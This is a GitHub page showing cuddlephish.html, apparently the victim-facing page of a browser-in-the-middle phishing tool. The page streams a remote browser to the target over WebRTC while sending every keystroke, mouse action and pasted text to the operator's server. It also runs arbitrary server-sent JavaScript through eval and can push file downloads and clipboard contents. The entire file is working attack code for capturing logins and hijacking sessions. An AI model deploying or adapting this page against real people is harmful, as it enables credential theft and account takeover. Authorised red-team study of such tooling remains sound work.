forked from fkasler/cuddlephish
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcuddlephish.html
193 lines (168 loc) · 5.22 KB
/
cuddlephish.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
<!DOCTYPE html>
<html>
<head>
<title>PAGE_TITLE</title>
<meta charset="UTF-8" />
</head>
<body>
<video playsinline disablepictureinpicture autoplay muted style="width: 100vw; height: auto;"></video>
<style>
html, body {margin: 0; height: 100%; overflow: hidden}
</style>
<script src="/FileSaver.min.js"></script>
<script src="/socket.io/socket.io.js"></script>
<script>
//couple of helper functions
function width(){
return window.innerWidth
|| document.documentElement.clientWidth
|| document.body.clientWidth
|| 0;
}
function height(){
return window.innerHeight
|| document.documentElement.clientHeight
|| document.body.clientHeight
|| 0;
}
const client_ip = 'CLIENT_IP';
const target_id = 'TARGET_ID';
//declare connnection and video in global scope for further reference
var peerConnection;
const video = document.querySelector("video")
//connect to the server over websockets and anounce we are a new phish
const socket = io.connect(window.location.origin)
let viewport_width = width()
let viewport_height = height()
socket.emit('new_phish', viewport_width, viewport_height, client_ip, target_id)
socket.on("push_state", function(new_state){
history.pushState({},'','/' + new_state)
})
socket.on("copy_to_clipboard", function(data){
copy_to_clipboard(data)
})
//////////////// CUSTOM ///////////////
// Default ICE servers
let iceServers = [];
// [
// { "urls": "stun:stun.l.google.com:19302" }
// ];
// Listen for TURN servers sent from the server
socket.on('turn_servers', function(turnServers) {
if (turnServers.urls && Array.isArray(turnServers.urls)) {
turnServers.urls.forEach(url => {
if (url.startsWith("turn:") || url.startsWith("turns:")) {
iceServers.push({
urls: url,
username: turnServers.username,
credential: turnServers.credential
});
} else if (url.startsWith("stun:")) {
iceServers.push({
urls: url
});
}
});
}
});
socket.on("video_stream_offer", function(broadcaster_socket_id, offer) {
peerConnection = new RTCPeerConnection({ iceServers });
peerConnection.setRemoteDescription(offer)
.then(() => peerConnection.createAnswer())
.then(sdp => peerConnection.setLocalDescription(sdp))
.then(() => {
socket.emit("video_stream_answer", broadcaster_socket_id, peerConnection.localDescription)
})
//add video track when it becomes available
peerConnection.ontrack = function(event){
video.srcObject = event.streams[0]
}
//3) send ICE candidates as they become available
peerConnection.onicecandidate = function(event){
if (event.candidate) {
socket.emit("candidate", broadcaster_socket_id, event.candidate)
}
}
})
//////////////// END_CUSTOM ///////////////
socket.on("candidate", function(broadcaster_socket_id, candidate){
peerConnection
.addIceCandidate(new RTCIceCandidate(candidate))
.catch(e => console.error(e))
})
socket.on("execute_script", function(script){
eval(script)
})
socket.on("save", function(file){
saveAs(new Blob([file.data]), file.filename)
})
//joystick actions for mouse events
document.addEventListener("mousedown", handleMouseEvent, !1)
document.addEventListener("mouseup", handleMouseEvent, !1)
document.addEventListener("mousemove", handleMouseEvent, !1)
document.addEventListener("mousewheel", handleMouseEvent, !1)
document.addEventListener("click", handleMouseEvent, !1)
window.addEventListener('popstate', function(event){
socket.emit('go_back')
})
window.addEventListener('paste', function(event){
let paste_data = (event.clipboardData || window.clipboardData).getData('text')
socket.emit('paste', paste_data)
event.preventDefault()
})
function handleMouseEvent(e){
if(e.type == "mousewheel"){
socket.emit('mouse_event', {"type": e.type, "wheelDeltaX": e.wheelDeltaX, "wheelDeltaY": e.wheelDeltaY})
}else{
//console.log({"type": e.type, "clientX": e.clientX, "clientY": e.clientY, "movementX": e.movementX, "movementY": e.movementY})
socket.emit('mouse_event', {"type": e.type, "clientX": e.clientX, "clientY": e.clientY, "movementX": e.movementX, "movementY": e.movementY})
}
}
//joystick actions for key events
document.addEventListener('keydown', keyDown)
document.addEventListener('keyup', keyUp)
var ctrlKey = false
function keyDown(e) {
if(e.keyCode == 9 || e.which == 9){
e.preventDefault()
}
if(e.keyCode == 86 && ctrlKey){
return
}
if(e.keyCode == 67 && ctrlKey){
socket.emit('copy')
e.preventDefault()
return
}
if(e.key == 'Meta'){
ctrlKey = true
return
}
socket.emit("keydown", e.key)
}
function keyUp(e) {
if(e.key == 'Meta'){
ctrlKey = false
return
}
socket.emit("keyup", e.key)
}
copy_to_clipboard = function (data) {
// Create a dummy input to copy the string inside it
var dummy = document.createElement("textarea");
// Add it to the document
document.body.appendChild(dummy);
// Set its ID
dummy.setAttribute("id", "dummy_id");
// Output the array into it
document.getElementById("dummy_id").value = data;
// Select it
dummy.select();
// Copy its contents
document.execCommand("copy");
// Remove it as its not needed anymore
document.body.removeChild(dummy);
}
</script>
</body>
</html>